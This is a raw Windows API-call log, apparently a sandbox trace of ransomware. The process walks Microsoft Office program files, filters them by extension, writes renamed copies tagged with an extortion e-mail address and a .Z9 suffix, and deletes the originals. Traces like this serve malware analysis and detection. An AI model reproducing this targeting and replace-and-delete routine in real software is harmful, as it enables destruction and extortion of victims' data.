	[0078.837] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".doc") returned 4
	[0078.837] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString=".docx") returned 5
	[0078.837] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.837] lstrlenW (lpString=".pdf") returned 4
	[0078.837] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString=".xls") returned 4
	[0078.837] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString=".xlsx") returned 5
	[0078.837] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.837] lstrlenW (lpString=".ppt") returned 4
	[0078.837] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".zip") returned 4
	[0078.837] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.837] lstrlenW (lpString=".rar") returned 4
	[0078.837] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString=".bz2") returned 4
	[0078.837] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString=".7z") returned 3
	[0078.837] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".dbf") returned 4
	[0078.837] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.837] lstrlenW (lpString=".1cd") returned 4
	[0078.837] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.838] lstrlenW (lpString=".jpg") returned 4
	[0078.838] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.838] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.838] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53
	[0078.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.838] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1261) returned 1
	[0078.838] CloseHandle (hObject=0x37c) returned 1
	[0078.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0078.838] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.838] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0078.839] GetLastError () returned 0x0
	[0078.839] ReadFile (in: hFile=0x37c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.841] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.842] ReadFile (in: hFile=0x37c, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.842] WriteFile (in: hFile=0x324, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.842] SetEndOfFile (hFile=0x324) returned 1
	[0078.842] CloseHandle (hObject=0x324) returned 1
	[0078.843] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.843] SetEndOfFile (hFile=0x37c) returned 1
	[0080.196] CloseHandle (hObject=0x37c) returned 1
	[0080.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString=".doc") returned 4
	[0080.232] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString=".docx") returned 5
	[0080.232] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.232] lstrlenW (lpString=".pdf") returned 4
	[0080.232] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString=".xls") returned 4
	[0080.232] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString=".xlsx") returned 5
	[0080.232] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.232] lstrlenW (lpString=".ppt") returned 4
	[0080.232] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString=".zip") returned 4
	[0080.232] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.232] lstrlenW (lpString=".rar") returned 4
	[0080.232] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString=".bz2") returned 4
	[0080.232] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString=".7z") returned 3
	[0080.232] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString=".dbf") returned 4
	[0080.232] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString=".1cd") returned 4
	[0080.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.232] lstrlenW (lpString=".jpg") returned 4
	[0080.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString=".doc") returned 4
	[0080.233] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString=".docx") returned 5
	[0080.233] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.233] lstrlenW (lpString=".pdf") returned 4
	[0080.233] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString=".xls") returned 4
	[0080.233] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString=".xlsx") returned 5
	[0080.233] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.233] lstrlenW (lpString=".ppt") returned 4
	[0080.233] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString=".zip") returned 4
	[0080.233] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.233] lstrlenW (lpString=".rar") returned 4
	[0080.233] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString=".bz2") returned 4
	[0080.233] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString=".7z") returned 3
	[0080.233] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString=".dbf") returned 4
	[0080.233] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString=".1cd") returned 4
	[0080.233] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0080.233] lstrlenW (lpString=".jpg") returned 4
	[0080.233] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.234] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.234] lstrlenW (lpString="AG00021_.GIF") returned 12
	[0080.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.635] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14873) returned 1
	[0080.635] CloseHandle (hObject=0x394) returned 1
	[0080.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220
	[0080.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.635] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.635] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.969] GetLastError () returned 0x0
	[0080.969] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x3a19, lpOverlapped=0x0) returned 1
	[0080.988] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3a20, lpOverlapped=0x0) returned 1
	[0080.989] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.989] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.989] SetEndOfFile (hFile=0x370) returned 1
	[0080.990] CloseHandle (hObject=0x370) returned 1
	[0080.991] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.991] SetEndOfFile (hFile=0x394) returned 1
	[0080.992] CloseHandle (hObject=0x394) returned 1
	[0080.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".doc") returned 4
	[0080.993] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.993] lstrlenW (lpString=".docx") returned 5
	[0080.993] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.993] lstrlenW (lpString=".pdf") returned 4
	[0080.993] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString=".xls") returned 4
	[0080.993] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString=".xlsx") returned 5
	[0080.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.993] lstrlenW (lpString=".ppt") returned 4
	[0080.993] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".zip") returned 4
	[0080.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString=".rar") returned 4
	[0080.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString=".bz2") returned 4
	[0080.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.993] lstrlenW (lpString=".7z") returned 3
	[0080.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".dbf") returned 4
	[0080.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".1cd") returned 4
	[0080.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".jpg") returned 4
	[0080.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.993] lstrlenW (lpString=".doc") returned 4
	[0080.993] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0080.994] lstrlenW (lpString=".docx") returned 5
	[0080.994] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0080.994] lstrlenW (lpString=".pdf") returned 4
	[0080.994] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0080.994] lstrlenW (lpString=".xls") returned 4
	[0080.994] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0080.994] lstrlenW (lpString=".xlsx") returned 5
	[0080.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0080.994] lstrlenW (lpString=".ppt") returned 4
	[0080.994] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.994] lstrlenW (lpString=".zip") returned 4
	[0080.994] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0080.994] lstrlenW (lpString=".rar") returned 4
	[0080.994] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0080.994] lstrlenW (lpString=".bz2") returned 4
	[0080.994] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0080.994] lstrlenW (lpString=".7z") returned 3
	[0080.994] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.994] lstrlenW (lpString=".dbf") returned 4
	[0080.994] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.994] lstrlenW (lpString=".1cd") returned 4
	[0080.994] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0080.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68
	[0080.994] lstrlenW (lpString=".jpg") returned 4
	[0080.994] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0080.994] lstrcmpiW (lpString1=".GIF", lpString2=".Z9") returned -1
	[0080.994] lstrlenW (lpString="AG00057_.GIF") returned 12
	[0080.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.995] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11891) returned 1
	[0080.995] CloseHandle (hObject=0x394) returned 1
	[0080.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 0x220
	[0080.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0080.995] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.996] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0080.996] GetLastError () returned 0x0
	[0080.996] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2e73, lpOverlapped=0x0) returned 1
	[0080.998] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2e80, lpOverlapped=0x0) returned 1
	[0080.999] ReadFile (in: hFile=0x394, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.999] WriteFile (in: hFile=0x370, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0080.999] SetEndOfFile (hFile=0x370) returned 1
	[0080.999] CloseHandle (hObject=0x370) returned 1
	[0081.000] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0081.000] SetEndOfFile (hFile=0x394) returned 1
	[0081.001] CloseHandle (hObject=0x394) returned 1
	[0081.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0081.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00057_.gif")) returned 1
	[0081.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.003] lstrlenW (lpString=".doc") returned 4
	[0081.003] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0081.003] lstrlenW (lpString=".docx") returned 5
	[0081.003] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0081.003] lstrlenW (lpString=".pdf") returned 4
	[0081.003] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0081.003] lstrlenW (lpString=".xls") returned 4
	[0081.003] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0081.003] lstrlenW (lpString=".xlsx") returned 5
	[0081.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0081.003] lstrlenW (lpString=".ppt") returned 4
	[0081.003] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 68
	[0081.004] lstrlenW (lpString=".zip") returned 4
	[0081.004] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString=".rar") returned 4
	[0081.004] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0081.004] lstrlenW (lpString=".bz2") returned 4
